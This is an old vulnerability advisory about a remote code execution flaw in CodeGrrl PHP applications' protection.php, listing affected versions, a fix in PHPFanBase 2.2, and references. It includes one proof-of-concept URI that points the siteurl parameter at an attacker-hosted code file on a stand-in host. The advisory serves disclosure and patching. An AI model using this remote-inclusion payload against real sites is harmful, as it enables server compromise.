Codegrrl Protection.PHP Unspecified Code Execution Vulnerability

Bugtraq ID:	15417
Class:	Input Validation Error
CVE:
Remote:	Unknown
Local:	Unknown
Published:	Nov 14 2005 12:00AM
Updated:	Jan 17 2006 10:15PM
Credit:	Robin Verton is credited with the discovery of this vulnerability.
Vulnerable:	CodeGrrl PHPQuotes 1.0 CodeGrrl PHPFanBase 2.1 CodeGrrl PHPClique 1.0 CodeGrrl PHPCalendar 0.10.3
Not Vulnerable:	CodeGrrl PHPFanBase 2.2

Codegrrl Protection.PHP Unspecified Code Execution Vulnerability

Unspecified Codegrrl applications are prone to a remote arbitrary code execution vulnerability. This is due to a lack of proper sanitization of user-supplied input.

An attacker can exploit this to execute arbitrary code in the context of the Web server process. This may facilitate a compromise of the system; other attacks are also possible.

Codegrrl Protection.PHP Unspecified Code Execution Vulnerability

No exploit is required.

A proof of concept URI has been provided:

http://www.example.com/protection.php?action=logout&siteurl=http://www.example.com/malicoius-code.txt

Codegrrl Protection.PHP Unspecified Code Execution Vulnerability

Solution:
The vendor has released PHPFanBase 2.2 and a new version of 'protection.php' to address this issue. Please see references for the product changelog for more information.

Codegrrl Protection.PHP Unspecified Code Execution Vulnerability

References:

• Codegrrl Website (Codegrrl)
  
• PHPFanBase Changelog (Codegrrl)
  
• PHPCalendar (and some more codegrrl.com products) arbitrary code execution ([email protected])